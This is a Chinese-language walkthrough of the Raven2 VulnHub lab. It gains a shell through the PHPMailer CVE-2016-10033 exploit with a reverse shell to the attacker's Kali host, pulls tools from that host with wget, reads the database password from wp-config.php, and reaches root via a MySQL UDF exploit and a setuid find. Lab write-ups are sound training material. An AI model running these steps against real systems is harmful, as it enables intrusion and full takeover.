Raven2專案實戰

2023-06-16 06:00:27

前言

Raven 2是一箇中級boot2root虛擬機器器。有四面旗幟需要捕捉。在多次入侵之後,Raven Security採取了額外措施來加固他們的網路伺服器,以防止駭客進入。你還能入侵Raven嗎?

靶場環境

kali 192.168.31.153
Raven2 192.168.31.216
靶場環境下載:https://www.vulnhub.com/entry/raven-2,269/

滲透實戰

環境搭建成功後,使用nmap掃描ip段,探測存活主機

nmap 192.168.31.0/24

發現存活主機,在瀏覽器存取http://192.168.31.216,檢視web頁面

第一步:對web頁面進行資訊收集,埠掃描,檔案目錄遍歷
web頁面:about.html service.html team.html /wordpress/ contact.php
埠掃描

nmap 192.168.31.216 -sV -O -p-    

得到22 80 111 33177(一個未知埠),系統是debian
檔案目錄遍歷,得到/js/ /vendor/ /manual/ /wordpress/wp-login.php

首先檢視manual/index.html,是一個apache指引說明參考手冊頁面
在http://192.168.31.216/vendor/SECURITY.md 描述說明了PHPMailer的幾個版本漏洞CVE,在http://192.168.31.216/vendor/VERSION描述了是PHPMailer5.2.16版本

瀏覽器搜尋發現PHPMailer5.2.16的版本漏洞是CVE-2016-10033
可以去https://www.exploit-db.com/搜尋相關漏洞,或者直接在kali使用searchsploit命令查詢漏洞指令碼
這裡我為了方便展示,開啟一個新視窗使用kali的searchsploit命令查詢

searchsploit PHPMailer
find / -name 40974.py   //這裡使用40974.py指令碼

將40974.py複製到/root目錄下方便操作也不會將原始檔改錯

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/40974.py 
vim 40974.py  //修改指令碼引數內容
內容修改:
#!/usr/bin/python
# -*- coding:utf-8 -*-

target = 'http://192.168.31.216/contact.php'  //這是要入侵的目標頁面
backdoor = '/shell.php'     //寫入後門
\\\'192.168.31.153\\\',5656     //kali要監聽的埠和ip
-X/var/www/html/shell.php  //寫入的payload

修改完畢後,開始執行指令碼檔案寫入後門

python3 40974.py  //如果有報錯使用以下程式碼,如果沒有就不用
sudo apt-get install python3-pip  //其中會安裝此指令碼需要的requests_toolbelt模組

執行指令碼就會出現此介面,需要去存取http://192.168.31.216/contact.php才能生成後門指令碼shell.php

存取完後,開啟kali的nc監聽

nc -lvnp 5656  //這裡對應前面設定的5656埠
存取http://192.168.31.216/shell.php

使用python的pty 獲取linux框架shell

python -c 'import pty;pty.spawn("/bin/bash")'

在/var/www/下有一個flag2.txt,這是第三個
第一個flag:http://192.168.31.216/vendor/PATH
第二個(http://192.168.31.216/wordpress/wp-content/uploads/2018/11/flag3.png)和第三個可以使用 find / -name flag* 命令查詢
第四個要繼續查詢,現在已經getshell,接下去就是提權,首先對後臺進行資訊收集
查詢關鍵資訊及線索,在/var/www/html目錄下使用ls檢視檔案,發現有一個wordpress的資料夾,cd進去尋找資訊

ls
cd wordpress
再次使用ls可以看到一堆的wordpress框架檔案

這裡重點看組態檔wp-config.php,使用cat wp-config.php檢視設定
發現了資料庫為 wordpress 資料庫使用者 root 密碼 R@v3nSecurity

接下來我們可以使用LinEnum.sh資訊收集指令碼對整個後臺系統的掃描一遍

指令碼下載地址:https://github.com/rebootuser/LinEnum
kali使用python開啟http服務
python3 -m http.server 8989
在靶機後臺使用:
wget http://192.168.31.153:8989/LinEnum.sh //這裡我已經把指令碼放在/root目錄下

賦予執行許可權
chmod +x LinEnum.sh
./LinEnum.sh    //執行掃描

在此處可以發現登陸的資料庫是root最高許可權,那麼我們就可以利用資料庫來提權
涉及到資料庫提權可以嘗試使用udf提權方式獲取最高許可權

現在已知只要登陸資料庫提權就是root,我們使用dpkg -l | grep mysql 查詢是否有mysql及其版本資訊

dpkg -l | grep mysql

發現是mysql 5.5.60版本,接著就是在kali中搜尋mysql udf

searchsploit mysql udf

我們使用第二個 1518.c指令碼,find / -name 1518.c查詢路徑,依舊複製出來修改並使用

find / -name 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/1518.c

使用gcc命令對1518.c進行編譯成so檔案
gcc -g -c 1518.c

 gcc -g -shared -o cmd.so 1518.o -lc

-g 生成偵錯資訊
-c 編譯(二進位制)
-shared:建立一個動態連結庫,輸入檔案可以是原始檔、組合檔案或者目標檔案。
-o:執行命令後的檔名
-lc:-l 庫 c庫名

利用http服務將so檔案傳輸到靶機後臺

wget http://192.168.31.153:8989/cmd.so
注:此處我傳輸的位置是在/var/www/html目錄下,與後面傳入資料庫有關係

傳輸成功,現在登入mysql查詢secure_file_priv是否為空

mysql -u root -pR@v3nSecurity    //登入mysql
show global variables like 'secure%';   //查詢secure_file_priv

1)當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許匯入|匯出,此時無法提權

2)當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的匯入|匯出只能發生在 /tmp/目錄下,此時也無法提權

3)當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的匯入|匯出做限制,此時可提權!

發現可寫入檔案,開始接下來的udf提權操作

show databases;   //查詢所有資料庫
use mysql; //使用mysql資料庫

create table raven2(line blob);  //建立表raven2
insert into raven2 values(load_file('/var/www/html/cmd.so')); //將剛上傳的cmd.so插入表

raven2表成功插入二進位制資料,然後利用dumpfile函數把檔案匯出,outfile 多行匯出,dumpfile一行匯出,outfile會有特殊的轉換,而dumpfile是原資料匯出!
新建儲存函數
select * from raven2 into  dumpfile '/usr/lib/mysql/plugin/cmd.so';

建立自定義函數do_system,型別是integer,別名(soname)檔案名字
create function do_system returns integer soname 'cmd.so';

查詢函數是否建立成功
select * from mysql.func;

呼叫do_system函數來給find命令所有者的suid許可權,使其可以執行root命令
select do_system('chmod u+s /usr/bin/find');

執行find命令
find / -exec "/bin/sh" \;

成功獲取root許可權,得到最後一個flag

總結

1.WordPress 是一種使用 PHP 語言開發的部落格平臺,使用者可以在支援 PHP 和 MySQL 資料庫的伺服器上架設屬於自己的網站。也可以把 WordPress 當作一個內容管理系統(CMS)來使用。WordPress 使用 PHPMailer 元件向用戶傳送郵件。PHPMailer(版本 < 5.2.18)存在遠端命令執行漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意檔案,造成遠端命令執行的危害。
2.成因 :
在漏洞檔案class.phpmailer.php中,phpmailer元件是呼叫linux系統命令sendmail進行郵件傳送,命令格式為:sendmail -t -i -fusername@hostname。serverHostname函數通過傳入的SERVER_NAME引數來獲取主機名,該主機名即HTTP請求報文中的host值,但是SERVER_NAME引數並沒有經過任何過濾,因此可以進行任意構造拼接,從而產生了系統命令注入漏洞